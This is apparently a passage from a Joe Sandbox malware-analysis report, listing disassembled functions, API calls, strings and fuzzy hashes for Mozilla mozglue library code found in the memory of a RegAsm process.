free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C7085B2

Part of subcall function 6C6E5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C6E5EDB
Part of subcall function 6C6E5E90: memset.VCRUNTIME140(ewrl,000000E5,?), ref: 6C6E5F27
Part of subcall function 6C6E5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C6E5FB2

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: b5f604e0d03d8b54e61bd7a9084756e42979462699865d080a0d27677568a879
Instruction ID: c4338c71961ddc4ac823c15c00fefc74d170c0cd4011d736d3983bfeb5c444a4
Opcode Fuzzy Hash: b5f604e0d03d8b54e61bd7a9084756e42979462699865d080a0d27677568a879
Instruction Fuzzy Hash: FC216DB43006019FDB14DB24C988A6AB7F5AF4530DF24483DE55B87B41EB31E948CB51

Function 6C6D1640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C6D1699
VerSetConditionMask.NTDLL ref: 6C6D16CB
VerSetConditionMask.NTDLL ref: 6C6D16D7
VerSetConditionMask.NTDLL ref: 6C6D16DE
VerSetConditionMask.NTDLL ref: 6C6D16E5
VerSetConditionMask.NTDLL ref: 6C6D16EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C6D16F9

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 901a2e0ee559bceaf4f1b07c48e92f13ad8c3d53f66713923d9148e4efd1e334
Instruction ID: e083a8925edb5af882d2bce33cb4caf875caafc899fd6ecd6f740fb1d5cf2f6c
Opcode Fuzzy Hash: 901a2e0ee559bceaf4f1b07c48e92f13ad8c3d53f66713923d9148e4efd1e334
Instruction Fuzzy Hash: 4B21D5B07402086FEB116A648C49FFBB37CDFC6718F418529F6059B5C1C6B4AD54C6A5

Function 6C71D1D0 Relevance: 10.6, APIs: 7, Instructions: 74threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C71D1EC
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C71D1F5

Part of subcall function 6C71AD40: moz_malloc_usable_size.MOZGLUE(?), ref: 6C71AE20

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C71D211
GetCurrentThreadId.KERNEL32 ref: 6C71D217
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C71D226
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C71D279
free.MOZGLUE(?), ref: 6C71D2B2

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$freemoz_malloc_usable_size
String ID:
API String ID: 3049780610-0
Opcode ID: ce7e4f1b60e25398961952c565d572ca465339949b72709d2a33a53b805038dc
Instruction ID: 43878be19f5518990af737cd9aebf6f4a965c350c68dd1400fae24a2f1a17c1a
Opcode Fuzzy Hash: ce7e4f1b60e25398961952c565d572ca465339949b72709d2a33a53b805038dc
Instruction Fuzzy Hash: 1E217171604705DBCB05DF65C488A9EB7B5FF8A328F10863EE52687740DB30A809CB95

Function 6C70F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6FCBE8: GetCurrentProcess.KERNEL32(?,6C6C31A7), ref: 6C6FCBF1
Part of subcall function 6C6FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6C31A7), ref: 6C6FCBFA

Part of subcall function 6C709420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C6D4A68), ref: 6C70945E
Part of subcall function 6C709420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C709470
Part of subcall function 6C709420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C709482
Part of subcall function 6C709420: __Init_thread_footer.LIBCMT ref: 6C70949F

GetCurrentThreadId.KERNEL32 ref: 6C70F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C70F598), ref: 6C70F621

Part of subcall function 6C7094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C7094EE
Part of subcall function 6C7094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C709508

GetCurrentThreadId.KERNEL32 ref: 6C70F637
AcquireSRWLockExclusive.KERNEL32(6C74F4B8,?,?,00000000,?,6C70F598), ref: 6C70F645
ReleaseSRWLockExclusive.KERNEL32(6C74F4B8,?,?,00000000,?,6C70F598), ref: 6C70F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C70F62A

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 4ab6d1b8440fdaa7ebea4e4dc4314071b3bdb0fefb947ca995ce5da44acdbb74
Instruction ID: 0b65866796d9a2ec97439e6482ad0ddeef060551140e8759cd00541f33fce3a8
Opcode Fuzzy Hash: 4ab6d1b8440fdaa7ebea4e4dc4314071b3bdb0fefb947ca995ce5da44acdbb74
Instruction Fuzzy Hash: E21182B5301604ABCB44AF69D6489AA77B9FB8636CF504027EA1587F01CB71AC15CBA4

Function 6C6D2070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6FAB89: EnterCriticalSection.KERNEL32(6C74E370,?,?,?,6C6C34DE,6C74F6CC,?,?,?,?,?,?,?,6C6C3284), ref: 6C6FAB94
Part of subcall function 6C6FAB89: LeaveCriticalSection.KERNEL32(6C74E370,?,6C6C34DE,6C74F6CC,?,?,?,?,?,?,?,6C6C3284,?,?,6C6E56F6), ref: 6C6FABD1

LoadLibraryW.KERNEL32(combase.dll,6C6D1C5F), ref: 6C6D20AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C6D20CD
__Init_thread_footer.LIBCMT ref: 6C6D20E1
FreeLibrary.KERNEL32 ref: 6C6D2124

Strings

CoInitializeSecurity, xrefs: 6C6D20C7
combase.dll, xrefs: 6C6D20A9

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: 6b9695225293357723bab502bd4343ceefe76122e93ef24fe3bf06593faf39b7
Instruction ID: 7f80cf8022f81e33bde549a6e9a8c6c90724c822b13c9c179098276a71bcf2c8
Opcode Fuzzy Hash: 6b9695225293357723bab502bd4343ceefe76122e93ef24fe3bf06593faf39b7
Instruction Fuzzy Hash: 52218E76200209EFDF11EF55DC48E9A7F7AFB4A369F11C026FA1492610D731A861DF64

Function 6C7276C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C7276F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C727705

Part of subcall function 6C6DCA10: malloc.MOZGLUE(?), ref: 6C6DCA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C727717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C72778F,00000000,00000000,00000000,00000000), ref: 6C727731
free.MOZGLUE(00000000), ref: 6C727760

Strings

}>pl, xrefs: 6C7276C4

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>pl
API String ID: 2538299546-4259265346
Opcode ID: ecccafcea50d07453bd2edb813c3a6e69262bb67beb176003738c758561f3fce
Instruction ID: 04820dbbae77af1c52c4c68b8b8d99a206a0627835a6a0d754c072a0912f923e
Opcode Fuzzy Hash: ecccafcea50d07453bd2edb813c3a6e69262bb67beb176003738c758561f3fce
Instruction Fuzzy Hash: 8C11B2B19052256BE710AF7ACD44BABBEF8EF46354F044529F888A7300E774984087E2

Function 6C7099A0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C709420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C6D4A68), ref: 6C70945E
Part of subcall function 6C709420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C709470
Part of subcall function 6C709420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C709482
Part of subcall function 6C709420: __Init_thread_footer.LIBCMT ref: 6C70949F

GetCurrentThreadId.KERNEL32 ref: 6C7099C1
AcquireSRWLockExclusive.KERNEL32(6C74F4B8), ref: 6C7099CE
ReleaseSRWLockExclusive.KERNEL32(6C74F4B8), ref: 6C7099F8
GetCurrentThreadId.KERNEL32 ref: 6C709A05
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C709A0D

Part of subcall function 6C709A60: GetCurrentThreadId.KERNEL32 ref: 6C709A95
Part of subcall function 6C709A60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C709A9D
Part of subcall function 6C709A60: ?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C709ACC
Part of subcall function 6C709A60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C709BA7
Part of subcall function 6C709A60: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C709BB8
Part of subcall function 6C709A60: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C709BC9

Part of subcall function 6C6FCBE8: GetCurrentProcess.KERNEL32(?,6C6C31A7), ref: 6C6FCBF1
Part of subcall function 6C6FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6C31A7), ref: 6C6FCBFA

Strings

[I %d/%d] profiler_stream_json_for_this_process, xrefs: 6C709A15

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: Current$ThreadTimegetenv$ExclusiveLockProcessStampV01@@Value@mozilla@@_getpid$?profiler_time@baseprofiler@mozilla@@AcquireInit_thread_footerNow@ReleaseStamp@mozilla@@TerminateV12@_
String ID: [I %d/%d] profiler_stream_json_for_this_process
API String ID: 2359002670-141131661
Opcode ID: ad8e2361ba7b41787ff62c40493b18256dc1ec0cae64d8692735a0524a28c9c5
Instruction ID: 01f323811ad5c978de7fbd7ad8681a3dfc5f2f6c3784b836d77aa9686e8249ab
Opcode Fuzzy Hash: ad8e2361ba7b41787ff62c40493b18256dc1ec0cae64d8692735a0524a28c9c5
Instruction Fuzzy Hash: 9C01C4B5B045249BDB007F6996096BA3BB8EB9326CF04C137FD2553B41DB345C05C7A1

Function 6C6D1FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6FAB89: EnterCriticalSection.KERNEL32(6C74E370,?,?,?,6C6C34DE,6C74F6CC,?,?,?,?,?,?,?,6C6C3284), ref: 6C6FAB94
Part of subcall function 6C6FAB89: LeaveCriticalSection.KERNEL32(6C74E370,?,6C6C34DE,6C74F6CC,?,?,?,?,?,?,?,6C6C3284,?,?,6C6E56F6), ref: 6C6FABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C6D1FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C6D1FFD
__Init_thread_footer.LIBCMT ref: 6C6D2011
FreeLibrary.KERNEL32 ref: 6C6D2059

Strings

combase.dll, xrefs: 6C6D1FD9
CoCreateInstance, xrefs: 6C6D1FF7

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 4d6fe8abd031200af3084a59da6a7d76f3acbb5a23c2c20b744b89e2be41ff89
Instruction ID: 43042f923da7226b6c9dbb60091f02d07a00bc6472f9de7ac96acf2f309c6d4d
Opcode Fuzzy Hash: 4d6fe8abd031200af3084a59da6a7d76f3acbb5a23c2c20b744b89e2be41ff89
Instruction Fuzzy Hash: D8117975240205AFEF20FF15C948E9ABB79EB8A36DF20C03AE91482640C731AC51CBA4

Function 6C6D0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6FAB89: EnterCriticalSection.KERNEL32(6C74E370,?,?,?,6C6C34DE,6C74F6CC,?,?,?,?,?,?,?,6C6C3284), ref: 6C6FAB94
Part of subcall function 6C6FAB89: LeaveCriticalSection.KERNEL32(6C74E370,?,6C6C34DE,6C74F6CC,?,?,?,?,?,?,?,6C6C3284,?,?,6C6E56F6), ref: 6C6FABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C6FD9F0,00000000), ref: 6C6D0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C6D0F3C
__Init_thread_footer.LIBCMT ref: 6C6D0F50
FreeLibrary.KERNEL32(?,6C6FD9F0,00000000), ref: 6C6D0F86

Strings

combase.dll, xrefs: 6C6D0F18
CoInitializeEx, xrefs: 6C6D0F36

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 1c6af8601742f278f5c0b6c26097041632652b13db25b2e3d9d60322ce03444e
Instruction ID: 03d22900f16c6d23792e86c9c51d647d96d0e017149a9cbba0e009efbd81c8b9
Opcode Fuzzy Hash: 1c6af8601742f278f5c0b6c26097041632652b13db25b2e3d9d60322ce03444e
Instruction Fuzzy Hash: 02119E746052409BDF00EF59CE08E5AB779EB8B32AF12C23BED05C2641D730A405CE5A

Function 6C70F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C709420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C6D4A68), ref: 6C70945E
Part of subcall function 6C709420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C709470
Part of subcall function 6C709420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C709482
Part of subcall function 6C709420: __Init_thread_footer.LIBCMT ref: 6C70949F

GetCurrentThreadId.KERNEL32 ref: 6C70F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C70F561

Part of subcall function 6C7094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C7094EE
Part of subcall function 6C7094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C709508

GetCurrentThreadId.KERNEL32 ref: 6C70F577
AcquireSRWLockExclusive.KERNEL32(6C74F4B8), ref: 6C70F585
ReleaseSRWLockExclusive.KERNEL32(6C74F4B8), ref: 6C70F5A3

Strings

[I %d/%d] profiler_pause_sampling, xrefs: 6C70F3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C70F56A
[I %d/%d] profiler_resume_sampling, xrefs: 6C70F499
[I %d/%d] profiler_resume, xrefs: 6C70F239

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 32a8e3ff55dc0050bc8f149208ffa905a86d179065312b8cf0f8271c55143490
Instruction ID: ff964b0911c6f712410a45797399546adb3dc1332981b1bc46f3eeb310dda416
Opcode Fuzzy Hash: 32a8e3ff55dc0050bc8f149208ffa905a86d179065312b8cf0f8271c55143490
Instruction Fuzzy Hash: 30F030B57006149BDB007B69994CA6E77BDEB8626DF008037FA1583701DB756C058765

Function 6C6D0E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C6D0DF8), ref: 6C6D0E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C6D0EA1
__Init_thread_footer.LIBCMT ref: 6C6D0EB5
FreeLibrary.KERNEL32 ref: 6C6D0EC5

Strings

kernel32.dll, xrefs: 6C6D0E7D
GetProcessMitigationPolicy, xrefs: 6C6D0E9B

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 4b6a67caf3c488f77c577330dd242b2d28505400febf5a2a903e7bdf9f8714c4
Instruction ID: 2632d79d42b67e6b6b8fd297d90d043a31b4559abb71c94ce1f7aaffb2e3fd05
Opcode Fuzzy Hash: 4b6a67caf3c488f77c577330dd242b2d28505400febf5a2a903e7bdf9f8714c4
Instruction Fuzzy Hash: E2014B747003928BDF02AFF8C914A4A77B6E74731DF92A936D91182F40D738B8068A59

Function 6C70F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C709420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C6D4A68), ref: 6C70945E
Part of subcall function 6C709420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C709470
Part of subcall function 6C709420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C709482
Part of subcall function 6C709420: __Init_thread_footer.LIBCMT ref: 6C70949F

GetCurrentThreadId.KERNEL32 ref: 6C70F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C70F598), ref: 6C70F621

Part of subcall function 6C7094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C7094EE
Part of subcall function 6C7094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C709508

GetCurrentThreadId.KERNEL32 ref: 6C70F637
AcquireSRWLockExclusive.KERNEL32(6C74F4B8,?,?,00000000,?,6C70F598), ref: 6C70F645
ReleaseSRWLockExclusive.KERNEL32(6C74F4B8,?,?,00000000,?,6C70F598), ref: 6C70F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C70F62A

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 302c29f5faa00632aba0b63eeef9ee6f7ad52a0e26c1bd47cf8ac70812a1a67f
Instruction ID: bfc2bd8e846ed1d1c88fe90c7e9b918122eca3a7422b40e53c5a3cf1a55b4b9b
Opcode Fuzzy Hash: 302c29f5faa00632aba0b63eeef9ee6f7ad52a0e26c1bd47cf8ac70812a1a67f
Instruction Fuzzy Hash: 42F03AB5300614ABDB007B69994CAAA7BBDEB862ADF008037FA1583741DB756C058B65

Function 6C7005F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C6FCFAE,?,?,?,6C6C31A7), ref: 6C7005FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C6FCFAE,?,?,?,6C6C31A7), ref: 6C700616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C6C31A7), ref: 6C70061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C6C31A7), ref: 6C700627

Strings

<jemalloc>, xrefs: 6C7005FA, 6C70060F
: (malloc) Error in VirtualFree(), xrefs: 6C70061B, 6C700625

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 30b4c8d3fd668e506913d3aa1328c9dc6782377afa7848099f155f992cee42fd
Instruction ID: 5d370513ba67af6800082f8ff187fd5d21147be970b3bc2cc3b57aaa380c0437
